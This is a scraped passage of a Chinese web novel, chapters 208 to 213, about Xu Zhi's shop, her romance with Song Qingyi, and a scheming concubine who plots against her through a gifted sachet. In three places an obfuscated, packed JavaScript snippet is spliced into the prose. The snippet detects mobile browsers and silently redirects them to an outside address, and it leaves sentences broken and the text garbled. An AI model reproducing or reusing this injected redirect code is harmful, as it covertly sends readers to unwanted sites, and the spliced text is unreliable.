虽然他眼睛闭上了,但是他的直觉很准。 不看也知道许芷的目光在自己的身上,他微微勾唇,腾出一直手,拍了拍自己旁边的位置,悠闲开口: “别纠结了,快来睡吧,我不会怎么着你的,你大可放心。” 说着还故意调侃的说道:“你现在是许芷,不过十六岁,我可是已经三十有余。 在我眼里你不过是个孩子,自然不会对你做什么。” 虽然道理确实如此,可是那怎么能一样,他可没把自己真的当许芷。 昨晚那一吻不就是最好的证明。 所以她没好气的开口呛道:“你昨晚做的事儿,可不是把我当了孩子。” 话音落下,宋清奕只是沉默不语,可是耳尖那一点红还是出卖了他此刻的慌张。 许芷看到没忍住偷笑一下,看他这样子也不是什么很坦然的人。 所以她倒没什么不自然了,直接走了过去,躺在了宋清奕的身边。 躺下之后,许芷偷偷看了眼他,见到他的眼睛仍旧闭着。 许芷有些不自在的转过了身。 可刚转过去就又后悔了。 她转过身睡的时候,习惯性的屈腿,屁股是撅出去的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238482|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这里,她总觉得脸臊得慌,浑身都不自在了。 可是已经转过来了,再动好像显的自己不淡定一般。 她忍着心里的不自在,等了一会儿,感受到身旁的人也奚奚索索的转了身。 许芷心想机会来了,她趁此赶紧转过来。 她动作轻柔地慢慢转过来,却在转过来的瞬间,跟宋清奕的鼻尖只差分毫。 她心中一颤,看着面前放大的面孔,心里不受控的咚咚直跳。 心里都不止一个兔子在跳,而是百只千只万只。 齐刷刷的在自己的心里,猛烈地跳着。 一时间她都忘了呼吸。 虽然已经过去了十二年,可是面前的男人,好像还似那年青涩模样。 许芷心想还好他闭着眼睛,自己能仔细的看看他。 她的呼吸放的很轻,轻到几乎不可察觉。 看的差不多,许芷心想自己还是转过身去,这样睡委实睡不着。 她的心跳快到好像要昏倒。 当她刚想转过身去的时候,宋清奕睁开了眼睛。 他漆黑的眼珠泛着光芒,落在许芷的脸上。 眼神里带着五分喜悦和五分就知道会如此的笃定。 许芷的眼睛瞬间瞪大,慌张的平躺,不去看他的眼睛。 “你做什么?” 她有些恼怒,怎么就被抓到了呢? 虽然她面前没有镜子,可是她也很清楚自己刚刚的眼神多么的痴缠。 像丝线、像烛光。 所以她此刻十分的慌乱,人在慌乱的时候,会下意识的发怒。 许芷也是如此,她生气的怨怪宋清奕。 “你真是有病,放着家里那么大的床不睡,非要来跟我挤这硬邦邦的炕。 把我挤得都没地方睡了,真是烦**了。” 听着她的抱怨,宋清奕并不生气,反而饶有兴味的看着她。 不管许芷说什么他都应,都承认。 最后等到许芷说完了,他噙着笑温柔的问道:“可消了气?” 许芷别扭着没说话,但也没否认。 宋清奕低头轻轻地笑着,再抬起头,眼神里是无限的柔情。 “若是发泄完了,可该睡了。” 说完,看到许芷闭上了眼,他也心满意足合上眼睡。 第208章 并不后悔 第二日许芷醒的时候,宋清奕依旧已经不在身侧。 她想到昨晚还是觉得脸颊有些红,长长呼出一口气,让自己冷静下来。 起床洗漱之后,出去正好刘喜英刚把饭做好。 看到许芷起来了,刘喜英笑着叫她吃饭。 许芷哎的应了声,进了厨房帮忙端东西。 进去的时候看到舅舅正顺手帮刘喜英把襜衣摘下来。 本来两人这动作很是自然一点没发觉不对,可是都摘下来了,突然两人才意识到在许芷面前做了什么。 刘喜英尴尬的呵呵一笑,心虚的解释说:“我这是刚刚没腾开手,你舅舅心细,看到了特意帮我解下襜衣。” 说完还给邓耧子使了个眼色。 邓耧子也慌张表示:“对对对,是这样的,我就是看到她不方便顺手帮个忙,没想那么多。” 听到他们两个的解释,许芷倒是比他们两个淡定的多了。 她早就注意到了舅舅和刘婶子不对劲。 自从刘婶子来了城里,跟舅舅好像划清了界限一般。 刚开始许芷大概也猜到了应该是自己让刘婶子来城里铺子的原因。 她有心想补救,可是却不知道该怎么做。 毕竟在舅舅和刘婶子眼底自己应该是不知道这件事情的。 所以她不好做什么。 而且这只是她的猜测,不是真的确定是这么个原因。 万一是其他更复杂的原因,自己单方面撮合或者做什么,万一弄巧成拙怎么办? 只能暂时先这样,正好到了前一阵子铺子里太忙,必须让舅舅来帮忙。 许芷想着有缘分的话,不管怎么样最后都还是会在一起的,一定不会错过的。 既然舅舅过来了那就顺其自然,两个人若是真的有缘定然会和好的。 果然今日一见,两人已经和好。 只是两人还是没打算公开,所以才会这样解释。 许芷淡淡一笑,无所谓的说道:“我懂,我舅舅很有眼力见的。” 说完也不管他们二人的反应,端着刚热好的包子就出去了。 留在原地的刘喜英和邓耧子心虚的对视一眼,为两人应付过去而高兴。 同时,也为许芷不通情爱之事而可惜。 刘喜英偷偷跟邓耧子说:“小芷也有个十六了,看样子还是个小姑娘呢,一点没长大。” 邓耧子也颇为赞同,“确实,这孩子从小没爹没娘,自然在这些事情上迟钝些。 不过也没什么,这样也好,我外甥女这么好,我可不觉得有什么人能配得上她。” 邓耧子说话的语气就像是一个严肃的父亲。 看的刘喜英噗嗤一声笑出来,打趣他:“从前只觉得你老实憨厚,没想到还有这幅样子。” 邓耧子理所当然的说道:“当然了,那还不是因为我外甥女太过于优秀,而男子大多都是忘恩负义、趋利避害之徒。 我是怕我外甥女遇不到良人!” “好好好,你快端着菜出去吧,你优秀的外甥女该吃早饭了。” 刘喜英笑着打趣。 几人吃过早饭后,就又忙了起来。 一连三日,铺子里什么事情都没发生过。 许芷他们每日都是忙自己的事情,除此之外,许芷和孟雨兰还忙着解决苏白薇留下的难题。 因为当时苏白薇也没说到底给多久的时间,许芷和孟雨兰一致决定早些完成的好。 省得到时候杀他们个措手不及。 当许芷这边紧锣密鼓的筹备着,苏白薇那边却日日唉声叹气。 她这次来到这里是主动要求的。 她确实顶了堂姐的位置嫁给了长公主的独子、世子谢臻。 可并不是什么正妻,只是侧室。 而这个侧室还都是自己高攀的结果,这些年她过得并不好,世子丝毫没有将她放在眼里。 但好在钱财上并不短她,她日日除了买一些金银首饰和绫罗绸缎,日子过得是毫无趣味。 当世子罕见的到了她房间时,醉酒说出长公主的逍遥馆被当地人给破坏了的时候,她觉得自己的机会来了。 所以她主动请求来这里,替长公主和世子解决这搅局之人。 长公主和世子当即便同意了,她太想让世子看到自己。 所以当她看到因为自己主动而让谢臻注意到自己的时候,她心里不知道有多高兴。 以至于她忽略了走之前,谢臻笑着威胁她的话语。 “你要是让那女人活着回来,我不介意亲自下手,可到时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238483|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不是她一个人的事情,你跟她一个下场。” 如今想到,心里只觉得悲凉。 要杀一个人不是那么容易的,她并不是长公主和世子那般有身份的人。 她需要借口,需要理由。 更重要的是她需要把人解决之后,她的手上并未沾上鲜血。 作为世子的人,名声很重要。 所以她只能借刀**,可是这刀不是那么好找的。 想到这就是自己付出了那么惨痛的代价也要嫁的人,苏白薇的心里酸楚异常。 不禁又想到了那个雨夜,观音庙里所做之事。 当时她多年轻啊,只觉得心狠才能地稳。 可是这么多年过去了,她反而越来越觉得当初可真胆大。 苏怀夕死的那样惨烈,家里人死的那么冤枉。 值得吗? 若是十二年前的自己,一定会声嘶力竭的说值得。 就算自己害怕到手抖,也会说值得。 可若是现在的自己,怕是要犹豫犹豫。 值得吗? 苏白薇再次发问。 可是犹豫再三,她也只会说值得。 毕竟虽然这不是她想象的生活,可是锦衣绫罗、华美朱钗都是真的。 她就是要这些,她就是要过得好。 说来也奇怪,从前最害怕的时候,她反而梦不到观音庙。 可最近这些日子,她丝毫不害怕了,却夜夜梦得到。 梦里她看着苏怀夕那张因为痛苦和嫉恨红到刺眼的脸,心里说不出的感觉。 畅快吗?也不是。 后悔吗?并不后悔。 只是觉得,她那么多亲人,如今能梦到的只有自己设计杀死的苏怀夕。 有几次她甚至在梦里跟苏怀夕聊天。 告诉她自己如今过得可是人上人的生活,谁让苏怀夕不知好歹的要拒绝。 要不然她也不会如此狠心,更不会做出这种事。 她将这些年的空虚寂寞都发泄在了苏怀夕的身上,也不管当初是她杀了苏怀夕这件事,只是跟她在梦里聊着天。 想到这,她又深深的叹了口气。 没想到自己竟然沦落到跟个**,还是自己杀死的人,在梦里聊天排解寂寞的地步。 第209章 侧妃息怒 春荷端着刚炖好的燕窝在门外准备进来的时候,正好听到了苏白薇的叹息声。 她心里发颤,端着燕窝的手,瞬间有些颤抖。 侧妃的心情又不好了,她在心里暗自提醒自己,进去之后一定要小心谨慎,不能让侧妃更不高兴。 她先是敲了门,听到里面传来了一声懒懒的声音,才开门进去。 进去看到侧妃苏白薇正躺在贵妃榻上支着头假寐。 听到她进来,缓缓睁开了眼睛,眼神里满是不悦。 在苏白薇手下做事,春荷早就练出了极好的观察力。 她知道苏侧妃此时心情极其不好。 所以她小心谨慎的开口道:“侧妃,这是小厨房炖的燕窝。” 苏白薇此次来到升城,无比奢靡。 虽然她没资格住长公主在升城的别院,只能住在最好的客栈里。 可是她将京城她的房间原模原样的搬了过来。 甚至还带过来了两个厨子。 到了升城第一件事,就是包下了最大的客栈所有最好的房间,她的吃喝拉撒睡都在这些最好的房间里。 专门当小厨房的房间、专门沐浴的房间、还有专门的净房。 她这么大的阵仗,虽然客栈的掌柜觉得事多,可是她给钱给的实在是多。 没人能跟钱过不去。 何况,怎么改造这些房间都不需要客栈的人出手,而是她带过来的人做好了一切。 客栈只要配合就好。 这燕窝就是她带过来的人,暂时弄了个小厨房做的。 此时她一抬手,春荷就知趣的感激将手里的燕窝放下,恭顺的走到了苏白薇的身边,将人扶起来往桌子边带。 苏白薇坐下后神色恹恹的伸手,春荷立刻端起碗放进了她的手里。 可是放下的瞬间,苏白薇突然暴怒。 直接摔在了春荷的脚上。 “这么烫也敢端来给我吃,你是想要烫死我,另觅新主?” 听着苏侧妃的质问,春荷紧张的赶紧跪地求饶。 “没有的事儿,侧妃,是奴婢办事不周全,侧妃您别生气。” 而她的话并没有平息苏白薇的怒火,反而让苏白薇更加生气。 她顺手抄起桌子上的茶杯一个个的往春荷身上、脸上砸。 砸到春荷的身上一阵闷痛,这还不算完,碎在地上的瓷片溅起在春荷的身上、手上和脸上留下了片片血痕。 而外面两个站着的奴婢听到这动静,大气都不敢出,生怕怒火烧到了自己的身上。 而这时出去打探消息的春花,也是春荷的姐姐回来了。 本来听到里面这动静是不打算进去的,她可不想触这霉头。 可是又看到了外面站着的婢女没有妹妹,她就知道了此时在里面承受怒火的是自己的妹妹。 这她可做不到置身事外,立马着急的闯了进去。 她看到妹妹身边的碎瓷片,脸色一白,直接扑到了妹妹的身上。 求饶道:“侧妃息怒。” “息怒?” 苏白薇听到这话,阴冷一笑:“你这妹妹好厉害啊,伺候我这么久,却还能端着一碗烫燕窝给我喝。 是想要烫死我吗?!” “不是的,侧妃,我妹妹做的不足之处,是她的失职。 可是她真的没有要让侧妃不痛快的意思,侧妃待我们极好,我们姐妹俩都是知恩图报之人。” 她说着的时候,苏白薇的目光停在了一地的碎瓷片上。 苏白薇可一点都不信这种话。 而春花自然是也注意到了苏白薇目光。 她不顾地上的瓷片,直接跪地磕头求饶。 “侧妃息怒啊,是我这妹妹不懂事,侧妃要罚就罚我吧,都是我这个当姐姐的没有做好表率。” 说完还没等苏白薇说出自己要怎么办,春花就又开口说道: “我出去打听了那乾坤铺子的掌柜的,打听的很容易,稍微花了点银子就知道的一清二楚。” 本来还打算严惩这两人的苏白薇听到这话,怒火收了些,稳住坐下之后扶了扶自己的发髻,开口问:“打听出什么了?” 春花听到这话,松了口气,紧跟着赶紧说出自己打听出来的事情。 “那许芷四岁便没了娘,亲爹和亲奶奶不愿意养着她,把她送到了姥姥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过一刻,苏白薇就换好了衣服,带着四个婢女,气势的出了门。 这次她到的时候,铺子里只有王茹娇和刘喜英在。 邓耧子和王金宝他们都出去送货了。 许芷和孟雨兰在后面研究给长公主做的水中月。 当王茹娇看到了苏白薇的时候,她如临大敌。 想要找个依靠的她,赶紧叫了声刘嫂子。 第210章 照单全收 刘喜英本来在忙,听到王茹娇叫自己,转头就看到了让她们头疼的大客户,也明白了为什么王茹娇会这样焦急的叫自己。 她给了王茹娇一个安心的眼神,走了上去。 毕竟客户再头疼,她们也要笑脸相迎。 “这位夫人,您上次定的水中月,我们掌柜的已经在加紧制作了,因着独一无二这四个字,所以要费心的多。 今日只怕是要让您空跑一趟,那水中月还并未做好。” 她说完尽量让自己的笑容看起来再歉疚一些,姿态更加的谦卑。 但是她跟王茹娇都做好了惹怒对方的准备,哄人的话已经准备到了嘴边。 可谁曾想,对方竟然没有生气。 苏白薇的脸上挂着笑,甚不在意道:“这我自然知道,给长公主的东西,怎么能不尽心尽力,自然耗时要久一些。 只是谁说我来你们这铺子是催你们的,我就不能是来买东西的? 还是你们这铺子有规定,只要订了货就不能再买其他的东西了?” 她虽然说话的语气很是轻松,脸上还挂着笑。 可是说出来的话就是让人觉得不舒服。 刘喜英和王茹娇的脸都要笑烂了,姿态放的更低。 “不是的,这位夫人,您要买东西当然可以,需要我给你介绍一下吗?” 刘喜英笑的甚至有些谄媚,开口问道。 苏白薇嗯了声,甩了下袖子,春花立马机灵的将铺子里的凳子搬了过来。 春荷赶忙将备好的坐垫和背靠放好,苏白薇舒服的坐下之后。 用下巴指使刘喜英道:“说说吧,你们这小铺子都有什么东西。” 虽然这语气真的很看不起人,可是只要她买东西,刘喜英和王茹娇觉得权当没听见。 两人这就开始使出了浑身解数介绍铺子里的东西。 也做好了准备,迎接这人的毒舌的挑剔。 可是没想到他们介绍什么,对方都照单全收,把她们说的每一样东西都买了下来。 最后竟然差点把铺子给搬空了。 刘喜英和王茹娇都笑眯眯的。 这人虽然高傲自大的让人讨厌,可是她是真买东西啊。 给他们送钱谁能不开心。 赶忙算了钱,把她要的所有东西都包了起来。 苏白薇利落的让春花付了账,带着东西就走了。 送走了这尊大佛,刘喜英和王茹娇都松了口气。 同时也觉得高兴,今日铺子里做了笔大生意。 王茹娇数着钱,高兴地说道:“她要是日日都这么爽利,我倒是能忍了她的刻薄。” 刘喜英听到光笑不说话。 赶紧叫着王茹娇去了后面库房搬东西,铺子里的这一下可是好多东西需要补。 她们两个补的差不多的时候,许芷和孟雨兰从后面过来了。 看到她们补了很多货,疑惑不已。 “今日没见来这么多客人啊?” 卖出去这么多东西,光那铺子里的热闹劲儿都非凡无比,就算两人在后面忙着,也能听得到。 光是王茹娇和刘喜英两个人肯定是忙不过来的。 所以许芷也跟着说:“这么忙怎么不叫我们两个一起?” 问完,只见王茹娇和刘喜英在笑。 孟雨兰不明所以,走过去帮两人一起放东西,继续问:“笑什么,怎么不说话?” 王茹娇才开口说道:“这些都是一个人买的,根本不需要你们来。” “一个人!” 孟雨兰吃惊地大声说出口。 “乖乖,这得多少银子啊。” 虽然他们乾坤铺子的东西卖的不算很贵,但是一下买这么多,那也是一笔不小的钱。 她更好奇了,问王茹娇:“娇娇,你跟我说说是谁这么财大气粗啊?” 王茹娇神秘兮兮的笑了笑,故意像之前孟雨兰和许芷逗她那样,说这是秘密。 听到秘密两个字,孟雨兰一噎,但是她可没有像王茹娇那样撒着娇穷追不舍的问。 而是转头去问刘喜英。 还故意说道:“不说就算了,我去问问刘姐姐。” “哎?别呀。” 王茹娇立马急了,“我说,我说还不行嘛。” 这样子,把许芷三人都逗笑了。 看到她们笑,王茹娇才反应过来,怒嗔道:“好啊你,雨兰姐,怎么能这样打趣我?” 闻言,孟雨兰连忙回来哄着她说道:“好妹妹,你是个宽宏大量的,就别跟姐姐我这人计较。 今夜我给你做了那糖醋口的熏鱼吃,成不?” 王茹娇也是真性情,并不真的跟孟雨兰生气。 听到有熏鱼吃,自然很是高兴。 也没必要搞什么神秘,直接说了这位大客户是谁。 “还不是上次那个恶女鬼,这次来转了性一般,把咱们铺子的东西买了个遍。” 孟雨兰听到惊讶不已,“竟是她?” “对啊,想不到吧。” 王茹娇撇嘴说道,“不过管她呢,只要她愿意买,就算多听两次她的冷眼箭语,我都行。” 听到她这么说,孟雨兰和刘喜英都笑的合不拢嘴。 许芷笑着说道:“你呀,那以后她再来可是得你来招呼。” “行!” 王茹娇答应的很欢实。 只是玩笑过后,许芷心里难免不平静。 她不觉得苏白薇是来给自己送钱的,怎么可能会这么好心。 前面刚刁难了自己,后面就来自己的铺子里买这么多东西。 诚如苏白薇那天在铺子里所说的话,她这个身份,在京城什么样的好东西没用过,怎么会看得上许芷铺子里的东西。 就算东西好,可就冲着不是京城,也不是什么装修豪华的铺子。 她的面子也不会让她低头来用自己的东西。 许芷的心里警铃大作,总觉得这人在憋着什么坏水。 而出了铺子的苏白薇坐在车上回客栈的时候,外面跟着走的春花小声地问道: “侧妃,那我现在去那户人家?” 苏白薇看着马车里的东西,阴毒的笑容浮现在脸上。 她缓缓开口道:“急什么,你先去药铺买点东西回来。” “是。” 春花只能应下,心里对侧妃的反复无常已经习以为常。 记下了要买的药材之后,春花掉头去了药铺。 而苏白薇脸上的笑容越发深,看着很是瘆人。 她喃喃道:“假的有什么意思,真的才好玩。” 第211章 血缘至亲 腊月初八,腊八节。 远离城外的官道上有个美妇人在布施。 只是寻常人布施,多为粥或者汤药,而她则是香囊、皂儿膏和膏沐这些东西。 那美妇人大张旗鼓的宣扬,说那些都是乾坤铺子的东西。 感念村里人的照顾,所以特来让她给大家送福利。 这官道连着上下坪村、双羊村和高羊村。 听到许芷派人来给大家送礼,根本不疑有他,纷纷赶去捧场。 毕竟免费的东西不要白不要。 而且许芷那铺子里的东西不便宜,就算在城里多受欢迎,可是村子里的众人终究是不舍的去买的。 所以一时间,官道上人来人往。 几个村子的人都兴高采烈的去领东西。 甚至还有人去通知了许芷的祖母邓老太。 邓老太听到以为是外孙女做的善举,心里骄傲又高兴。 摆摆手拒绝说:“我外孙女给我弄得有,你们就去吧,我就不凑这热闹了。” 村里其他的老妇人笑着劝道:“老姐姐,你就去吧,去看看你外孙女,我听说许丫头这几日都住在了城里,见不到肯定想吧? 正好趁此机会去看一看,顺道给自己家的丫头撑撑场面。” 听到这话,邓老太心想确实是这么个道理,她确实有段时间没见小指儿了。 跟着大家一块过去,看看外孙女。 这么想着,她就跟大家一起过去了。 只是过去之后并未看到许芷,甚至连孟雨兰和王茹娇都没看到。 净是些不认识的人。 邓老太看到眼神里闪过了一些失落。 劝她一起来的老妇人干笑两声劝道:“老姐姐,你那外孙女有本事,肯定铺子里忙着呢,没空过来。” 邓老太哎了一声,笑了笑,跟着大家凑了会儿热闹觉得没意思就回了家。 这些东西她都有,自然不用在这等着。 她刚走没多久,上坪村的许老太就过来了。 众人看到她过来,纷纷露出了鄙夷之色。 “许老太,你还有脸来领东西呢?” 有人故意问她。 许老太鼻孔朝天,气势汹汹的说道:“怎么没脸,凭什么不来? 怎么你们都来得,我就来不得?” 听到她这理直气壮的话,大家都不欲跟她争辩。 之前她去许芷的铺子讹许芷的事情,谁人不知谁人不晓。 但凡是个要脸的人,怎么都不会来贪这便宜。 可偏偏许老太不以为意,脸皮厚的堪比城墙。 竟真来贪这便宜。 有人故意说道:“许老太,这次用了还去讹你那亲孙女不?” 许老太听到瞪了那人一眼,并不回答。 因为她就是要讹人啊。 她早就想再来一次,可是她不愿意再花钱做这种事情。 于是听到这丫头免费送东西的时候,她高兴的赶紧过来拿。 真是瞌睡了来枕头。 不过她来的路上对许芷还骂骂咧咧的。 “这死丫头,竟然免费送给别人,真是败家子,挣点钱就不知道天高地厚了。” 而大家看她这无赖样子,故意都挤着在她的前面领东西。 等轮到她的时候,竟然已经分发完了。 许老太一看没了东西,生气的跳脚。 “怎么回事?怎么到了我就没有了!” 大家看着她这样子,纷纷嘲笑她。 而许老太自觉丢了脸,往地上一坐撒着泼说道:“我不管,你们今日必须给我老婆子一样东西,要不然我就赖在这不走了。” 她说完,一个婢女走了过来,看了她两眼,像是确认什么一般开口问:“请问你是许家婆婆吗?” 许老太狐疑望去,气势道:“是又怎么样?” 那婢女一听立马喜笑颜开,“真是你呀,那您呀不用在这等着,许姑娘吩咐我们了,给你留了专门的东西。” 说着春花拿出来了一个香囊递了过去。 “许姑娘说了,从前的恩怨都算了,她毕竟是你们许家的人,所以特意让我把这个香囊转交给你。 这可是独属于婆婆你的,其他人都没有。” 春花这一番捧着她的话,让许老太很是受用。 她立马站起来,拍了拍衣服上的灰,摆着谱不满道:“那你怎么不早说?害我这个老婆子,在地上坐了半天,衣裳都脏了。” 说完一把夺过了春花手里的香囊。 鼻子重重哼出一口气:“还算这丫头有良心。” 收下后,她的鼻孔朝天看,面对刚刚看不起自己的众人。 嗤笑一声,故意道:“你们这些人啊,还在那说风凉话,小心我给我孙女告一状,以后你们谁都不能用那铺子里的东西!” 其他的人听到这话,面面相觑,脸色各异。 谁都没想到许芷特意给许老太准备了东西。 有人看了看这里早就没有邓老太的身影,暗自感慨道:“那丫头始终是姓许,许老太都做了这种事儿,这丫头还是向着。” “谁说不是呢,还好邓家老太太回去了,她要是知道了心里指不定多难过呢。” “难过啥,那丫头对她也不错,好吃好喝伺候着,要不是许丫头,邓老太还住在那小院里,哪能住上那一进大院子。” “真是,你们是没去过他们家,不知道那屋子有多好。” “邓老太可是顿顿吃肉,你们谁有这福气。” 这么说着,大家觉得也是,许芷不过是给了许老太一个香囊而已。 人家做生意的,不在乎这些。 而且毕竟是血缘至亲,这样好像也说得过去。 但也不是所有人都这么想,还有些人觉得许芷这是记吃不记打。 万一这许老太又憋着什么后招,或者是想趴在她身上吸血呢? 总归是不好的。 觉得这丫头做这事儿有点拎不清。 “邓家老太太养了这么久的外孙女,心还是偏向自己家人啊。” “这许老太可不是个好相与的,做出那么多坏事,这丫头还能对她好,真是没话说啊。” “那毕竟是亲奶奶,谁还能真跟血亲过不去啊。” 听着大家的讨论声,许老太如同高傲的斗鸡一样,拿着东西回了家。 如今在众人面前扬眉吐气这一回,够她炫耀好几日了。 除了她,苏白薇也勾起了唇角。 听到大家对许芷褒贬不一的议论声,她心里只觉畅快。 “哼,一个村野丫头,想跟我斗,跟长公主斗,也不看看自己是个什么东西!” 话音落下,她们收拾了东西,回去城里。 第212章 不过眼红 许老太拿着香囊回家的路上,宛如斗鸡。 趾高气昂的走在路上,不管见到谁嘴里都是一句。 “那还得是血缘至亲,打断了骨头连着筋。” 若是说了这一句,无人搭理她。 许老太斜着白眼留下句不识货,吱扭吱扭的往前走。 要是有人好奇多嘴问了句,这话何意。 许老太立马将那香囊如同战利品一般拿出,脸上挂着得意的笑,语气中满是得意和炫耀。 “还不是那个许芷丫头,还算是个有孝心的,给大家送东西不说,还特意给我老婆子一个香囊,那邓老太可没有啊。” 说完水桶般的腰晃得跟条水蛇一样,那小人得志的样子怎么都掩不住。 有些明事理的听到她这话,嘴撇撇不多说什么。 心里知道是怎么回事,但是并不多嘴。 不过有些人专爱看笑话,反而故意说道:“哎呦喂,我说老婶子啊,这香囊看着确实不错。” 夸赞的话说完,看到许老太嘴角又勾起了些。 却转了话头,讽刺道:“可是你说那邓老太没有却也不是什么稀奇事儿。 毕竟下坪村我那侄女说了,许丫头这东西刚做出来,就让邓老太用上了。 现在更是从来没缺过,要多少有多少,还用得着特意给吗?” 话到这,大部分人已经忍不住笑起来了。 可那人并没有停下,继续说道:“一个破香囊,老婶子还真当成个宝贝了。 可别是邓老太挑剩下不要的东西给了你。” “你胡说什么,东西不在多,在心意。” 许老太破防的反驳道:“我都没养过那丫头,她还不是得特意给我准备东西,证明这丫头就是我们许家的人! 我看你们就是嫉妒,嫉妒我有这么厉害的孙女,我能沾光,你们不能!” 众人没想到许老太脸皮如此厚,这种话都能说得出口。 便更加的看不起她。 有嘴厉害的立马怼了回去。 “沾光?今儿十里八乡的都沾上了你那孙女的光,我们也都是免费领的东西,我们怎么不能? 反倒是你这个亲奶奶,也就能趁这个功夫得一个许丫头铺子里的东西,平日里一个没用过吧?” 说完像是说错了话一样捂住了嘴,可眼底的嘲笑意味分明浓烈。 而一旁早就笑的合不拢嘴的,否认这人的话。 “哪啊?怎么没用过,上次去许丫头铺子前讹了一场,不是特意买了块皂儿膏。” 说完几人的嘲笑声更甚。 而刚刚那人也像是恍然大悟一般,捂着嘴偷笑说: “是了是了,是我这人忘性大,竟忘了这出事儿。” 眼看自己被从里到外的嘲讽一番,饶是许老太再厚的脸皮也撑不住。 “你们得了我孙女的东西还如此说话,实在是不要脸,要是眼红我有这么个孙女就明说,何必说这些酸话。” 说完她拿着香囊快速回家去。 身后,还传来了刚刚那人笑的发颤的声音。 “老婶子,你做出那种事儿,可小心你这孙女在这香囊里放了啥,特意来要你的命!” 那人故意说着,她就是要让许老太不高兴。 该死的许老太,自己被村里人嫌弃,在他家大门口丢垃圾。 偏偏苦了自己这个当邻居的。 这许老太不要脸的,竟然把垃圾顺手都推到了自己家门口。 自己骂了几次都不管用,找了里正也管不着。 这许家人就是不听,就是乱来,他们也没办法。 所以今日能多刺她几句,这人自然往狠了说。 而走远了的许老太,恶狠狠的看了一下自己离开的方向。 生气说道:“这群贱人,都不过是眼红而已!” 她也没了炫耀的心思,一路上骂骂咧咧的回了家。 到了家,老三许过年看到母亲回来了,立马凑了上去。 “怎么样,娘?领到东西没?” “领到了!” 许老太笑吟吟的拿出了香囊给儿子看,还不忘说:“这可是那丫头特意留给我的,我就说那丫头有我们许家的血脉,怎么都不可能弃我们于不顾。” 许过年接过香囊闻了一下,他一个农户汉并不喜欢这种有香味的东西。 所以立马又递了回去,听到娘的话,狐疑道:“这要是咱们没算计那丫头,她特意给你留个香囊我信。 可是有了上次的事儿,这个心狠的丫头还会给你东西?” 说着他看了下二哥许富年的屋子,下巴抬了一下,压低声音说道:“她可是亲爹都能送到衙门的人。” 听到这话,许老太眼底的兴奋少了几分,但很快她又恢复了原样,开口道: “说不准就是因为咱们闹了那一场,那丫头怕咱们还会这样,故意用这东西来堵咱们呢。” 许过年闻言眼珠子转了转,觉得娘说的也有理。 毕竟那丫头开门做生意的,最怕的就是有人闹事儿。 所以故意这样想让他们消停点也不是没可能。 只是他的心里还是有些疑虑,所以他开口道:“这东西咱们别留着,既然那丫头铺子里的东西好,肯定很多人想要。 明日我出去问问看看能不能便宜卖了,这香的熏死人的东西,留着也没用,不如卖点钱给咱们补贴家用。” 许老太觉得这香囊就是自己的虚荣来源,若是没有了,自己岂不是没有炫耀的资本了? 看着老娘的样子,许过年就知道娘不舍得卖。 他不耐烦道:“这玩意儿有啥用处?还不如换了钱咱们买点肉吃吃,你想想咱们都多久没沾过荤腥了!” 听到儿子这话,许老太再不舍也知道买肉吃,是实打实的进了肚子。 可是这香囊除了看一看,闻一闻确实没什么用处。 所以就点了头。 看娘点了头,许过年立马就要把香囊拿过去。 许老太眼疾手快的收回到了自己袖带里。 “娘你怎么反悔呢?” 许过年生气的质问。 “什么反悔?你明日才去卖,今日让我好好再闻一闻怎么了?” 许老太理所应当的说着。 听到这话,许过年无奈摆摆手:“随你随你,明日可不能这样,必须给我。” 许老太心不在焉的点了点头,拿着宝贝似得香囊回了屋里。 回到屋见到老二许富年的女儿许兰在给自己打扫屋子。 她没好气的把人轰了出去,看着许兰仓皇逃走的身影。 没好气道:“算你这丫头好命,要不是你那姐还算有良心,我立马要了你的命,去算计你那姐姐去。” 说完又宝贝的拿着香囊,又看又闻的。 第213章 众人感谢 许芷好几日晚上没回村子了,怕祖母担心的紧。 趁着腊八节,特意买了城里的腊八粥赶着马车跟王茹娇和孟雨兰回了村子。 本来也要带着舅舅一起回来了的。 但是邓耧子想着正是节日,不愿意刘喜英一个人孤单的过。 所以跟许芷说自己留下来看铺子。 看着王茹娇和孟雨兰不解的眼神,他还借口说:“快过年了,好多手脚不干净的也心思活泛了,还是得我在这看着为好。” 王茹娇一听也担心的说:“是该您在这看着,光是刘嫂子,一个女人和两个孩子在这可不行。 若是有心的知道了,定然要乱来,有耧子哥在我们放心。” 听了这话,孟雨兰也连连点头,她也觉得光刘喜英一个女人家在这不好。 不是不相信刘喜英,而是世道向来如此。 一个女人家,总归说困难些。 许芷是知道怎么回事的,舅舅怎么说她都没意见,只是买的腊八粥,多买了些,给他们留了一份。 如此,就让邓耧子留在了这里。 三个人赶车回家的时候,想着先去村里一趟,把王茹娇送回家。 到村子天都黑了,王茹娇一个姑娘家怕黑。 送回去之后,许芷和孟雨兰怎么说也是两个人,不怕。 本来许芷以为这腊月里,天黑了冷的很,回去的时候,定然看不到什么人。 村子里肯定安静的出奇。 只是到了村子,意外的她们听到了热闹的交谈声。 在外面赶车的许芷看着黑夜里影影绰绰的人群,疑惑不已。 而村里人看到有马车回来了,高兴的涌上前。 